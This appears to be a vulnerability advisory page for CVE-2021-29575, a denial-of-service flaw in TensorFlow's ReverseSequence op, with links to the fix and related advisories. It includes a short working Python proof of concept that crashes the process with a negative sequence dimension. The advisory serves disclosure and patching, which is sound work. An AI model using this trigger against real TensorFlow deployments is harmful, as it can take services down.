CVE-2021-29575: Overflow/denial of service in `tf.raw_ops.ReverseSequence`
(updated )
The implementation of tf.raw_ops.ReverseSequence allows for stack overflow and/or CHECK-fail based denial of service.
import tensorflow as tf
input = tf.zeros([1, 1, 1], dtype=tf.int32)
seq_lengths = tf.constant([0], shape=[1], dtype=tf.int32)
tf.raw_ops.ReverseSequence(
input=input, seq_lengths=seq_lengths, seq_dim=-2, batch_dim=0)
References
- github.com/advisories/GHSA-6qgm-fv6v-rfpv
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-503.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-701.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-212.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/ecf768cbe50cedc0a45ce1ee223146a3d3d26d23
- github.com/tensorflow/tensorflow/security/advisories/GHSA-6qgm-fv6v-rfpv
- nvd.nist.gov/vuln/detail/CVE-2021-29575
Code Behaviors & Features
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